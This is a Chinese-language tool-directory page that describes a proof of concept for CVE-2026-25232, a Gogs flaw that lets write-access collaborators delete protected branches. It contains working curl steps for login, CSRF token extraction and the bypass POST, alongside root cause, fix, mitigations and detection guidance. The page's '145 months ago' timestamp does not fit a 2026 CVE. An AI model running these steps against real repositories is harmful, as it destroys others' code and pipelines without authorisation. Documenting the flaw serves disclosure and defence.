Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25232-PoC — CVE-2026-25232 的概念验证,这是 Gogs 中存在的一个权限提升漏洞。 | Kitploit
工具/GitHubGitHub/h1sok444/cve-2026-25232-poc
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubh1sok444/cve-2026-25232-poc

CVE-2026-25232-PoC

CVE-2026-25232 的概念验证,这是 Gogs 中存在的一个权限提升漏洞。

查看仓库
145个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-25232 — Gogs 受保护分支删除绕过(写入 → 管理员权限提升)

概述

字段详情
CVECVE-2026-25232
产品Gogs(Go Git 服务)
受影响版本<= 0.13.4
修复版本0.14.1
CVSS 评分中危
CWECWE-863:授权不正确
所需认证是(对仓库具有写入权限)
影响从写入权限提升至管理员级操作

描述

CVE-2026-25232 是 Gogs Web 界面中的一个访问控制绕过漏洞。它允许任何具有写入权限的仓库协作者通过向 DeleteBranchPost 端点发送直接 POST 请求来删除受保护分支(包括默认分支),从而完全绕过分支保护机制。

根本原因在于 Git Hook 层与 Web 界面在实施分支保护时存在差异:

  • Git Hooks(SSH): 通过 SSH 推送操作正确阻止受保护分支的删除
  • Web 界面: DeleteBranchPost 函数不会触发 Git Hooks,因此保护检查永远不会被执行

这使得低权限协作者能够执行本应仅限仓库管理员执行的操作。


前提条件

  • 一个已注册的 Gogs 账户
  • 对目标仓库具有写入权限
  • 目标仓库已配置受保护分支
  • 可访问 Gogs Web 界面的网络

概念验证

环境

  • 目标: http://<TARGET>:3001
  • 攻击者账户: attacker:Password123!(对仓库具有写入权限)
  • 目标仓库: admin/important-repo
  • 受保护分支: main(默认分支)

步骤 1 — 确认分支保护已启用

确认该分支已受保护且无法通过正常方式删除:

root@kitploit:~
# 尝试通过 API 正常删除分支 - 此操作应失败
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

预期响应:403 Forbidden 或保护错误。


步骤 2 — 获取有效的 CSRF 令牌

从任意已认证页面获取 CSRF 令牌:

root@kitploit:~
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# 从仓库页面提取 CSRF 令牌
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

步骤 3 — 通过直接 POST 到 DeleteBranchPost 绕过保护

向分支删除端点发送直接 POST 请求,绕过保护检查:

root@kitploit:~
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

尽管攻击者仅具有写入权限,受保护分支仍被删除。


步骤 4 — 验证删除结果

root@kitploit:~
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

main 分支将不再出现在响应中。


漏洞原理

Gogs Web 处理器中的 DeleteBranchPost 函数验证了用户已通过认证且对仓库具有写入访问权限,但不会检查目标分支是否受保护:

root@kitploit:~
HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
检查:用户是否已认证? ✓
检查:用户是否具有写入访问权限? ✓
检查:分支是否受保护? ✗(缺失)
    ↓
分支删除成功

实施分支保护的 Git Hook 层仅在通过 SSH 或 HTTP Git 协议进行 Git 推送/删除操作时才会触发——而不会在 Web 界面操作期间触发。这一架构性缺口意味着任何具有写入权限的协作者都可以执行此操作。


影响

具有写入权限的恶意协作者可以:

  • 删除任何受保护分支,包括默认分支
  • 破坏仓库的主要开发主线
  • 中断依赖受保护分支的 CI/CD 流水线
  • 强制推送或重新创建不受保护的分支,从而向生产流水线注入代码
  • 在分支管理操作中将有效权限从写入级别提升至管理员级别

在 Gogs 仓库为自动化部署流水线提供输入的环境中,这可能导致供应链攻击。


修复方案

升级至 Gogs v0.14.1 或更高版本。该修复在 DeleteBranchPost 函数中添加了适当的授权检查,以在允许删除之前验证分支保护状态,无论请求以何种方式发出。

作为临时缓解措施:

  • 将仓库写入访问权限限制为仅限高度可信的用户
  • 实施网络级访问控制,限制可访问 Gogs Web 界面的人员
  • 监控 Web 服务器日志中是否有对 /repos/{owner}/{repo}/branches/delete 的意外 POST 请求
  • 使用外部备份解决方案维护受保护分支的副本

检测

查找以下利用迹象:

  • Web 服务器日志中对 /<owner>/<repo>/branches/delete 的意外 POST 请求
  • 受保护分支被删除但日志中没有相应的 Git Hook 活动
  • 非管理员权限用户的分支删除事件
  • 默认分支意外缺失或变更

参考

  • GitHub 安全公告 GHSA-2c6v-8r3v-gh6p
  • Gogs v0.14.1 发布
  • CWE-863:授权不正确

免责声明

本 PoC 仅用于教育目的和授权安全测试。请勿将其用于未经明确许可进行测试的系统。

下载工具